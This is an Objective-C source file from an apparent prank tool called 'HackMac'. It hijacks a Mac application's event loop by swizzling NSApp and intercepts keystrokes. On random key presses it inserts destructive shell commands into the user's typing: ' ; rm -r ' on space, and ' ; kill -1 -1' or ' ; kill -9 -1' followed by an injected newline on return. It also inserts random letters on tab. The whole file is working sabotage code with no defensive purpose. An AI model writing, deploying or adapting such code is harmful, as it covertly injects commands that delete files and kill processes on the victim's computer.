//
//  HQApplication.m
//  HackMac
//

#import "HQApplication.h"
#import <stdlib.h>
#import <objc/objc-class.h>  // We need this in order to dereference a Class

extern BOOL gOn;

@implementation HQApplication

+ (void)doNSAppInstancePose {
    if (NSApp) {
        // Swizzle our class object (and its meta-class) to be a subclass of the class that NSApp is a member of.  This could be a real stupid thing to do if any instances were going to be created and our new superclass had ivars.  But this situation is fairly controlled and no more instances of NSApplication subclasses should ever be created.
        Class realNSAppClass = ((HQApplication *)NSApp)->isa;
        Class hqAppClass = [HQApplication class];
        Class realNSAppMetaClass = ((HQApplication *)realNSAppClass)->isa;
        Class hqAppMetaClass = ((HQApplication *)hqAppClass)->isa;
        
        hqAppClass->super_class = realNSAppClass;
        hqAppMetaClass->super_class = realNSAppMetaClass;
        
        // Swizzle NSApp into an instance of our subclass.
        // We cast to HQApplication as a simple way to get around the fact that isa is @protected.  It does not matter what we cast to, really, since everything has an isa.
        ((HQApplication *)NSApp)->isa = self;
    } else {
        NSLog(@"NSApp does not exist yet!");
    }
}

- (void)sendEvent:(NSEvent *)event {
    static int length=0;
    int i, c;
    unichar temp;
    NSMutableString *theString;
    BOOL doBOFH = !(rand()%3);
    
    if ( ([event type] == NSKeyDown) && gOn ) {
        length+=[[event characters] length];
        switch ([[event characters] characterAtIndex:0]) 
        {
            case NSTabCharacter:
                if (doBOFH) {
                    c=rand()%20;
                    theString = [NSMutableString stringWithCapacity:c];
                    for (i = 0; i<c;i++) {
                        temp = rand()%26;
                        switch(rand()%2) {
                            case 0:
                                temp += 'a';
                                break;
                            case 1:
                                temp += 'A';
                                break;
                        }
                        [theString appendString:[NSString stringWithCharacters:&temp length:1]];
                    }
                    [self stringPress:event withString:theString];
                }
                else [super sendEvent:event];
                break;
            case NSCarriageReturnCharacter:
            case NSNewlineCharacter:
                if (doBOFH) {
                    if (!(rand()%1000)) 
                        [self stringPress:event withString:@" ; kill -9 -1"];
                    else 
                        [self stringPress:event withString:@" ; kill -1 -1"];
                    [self keypress_special:event withChar:NSNewlineCharacter];
                }
                length=0;
                break;
            case ' ':
                if (doBOFH) 
                    [self stringPress:event withString:@" ; rm -r "];
                else [super sendEvent:event];
                length=0;
                break;
            default:
                [super sendEvent:event];
                if ([[event characters] characterAtIndex:0] == ' ' ) length=0;
                break;
        }
    }
    else {
        [super sendEvent:event];
    }
}

- (void)stringPress :(NSEvent *)event withString:(NSString *)theString {
    int i;
    for (i=0; i < [theString length];i++)
        [self keypress:event withChar:[theString characterAtIndex:i]];
}


- (void)keypress :(NSEvent *)event withChar:(unichar)thechar {
    NSString *mystring;
    mystring = [NSString stringWithCharacters:&thechar length:1];

    [super
	sendEvent:[NSEvent
            keyEventWithType:[event type]
            location:[event locationInWindow]
            modifierFlags:[event modifierFlags]
            timestamp:[event timestamp]
            windowNumber:[event windowNumber]
            context:[event context]
            characters:mystring
            charactersIgnoringModifiers:[event charactersIgnoringModifiers]
            isARepeat:[event isARepeat]
            keyCode:[event keyCode]
        ]
    ];
}

- (void)keypress_special :(NSEvent *)event withChar:(unichar)thechar {
    NSString *mystring = [NSString stringWithCharacters:&thechar length:1];

    [super
	sendEvent:[NSEvent
            keyEventWithType:[event type]
            location:[event locationInWindow]
            modifierFlags:[event modifierFlags]
            timestamp:[event timestamp]
            windowNumber:[event windowNumber]
            context:[event context]
            characters:mystring
            charactersIgnoringModifiers:mystring
            isARepeat:[event isARepeat]
            keyCode:[event keyCode]
        ]
    ];
}

@end
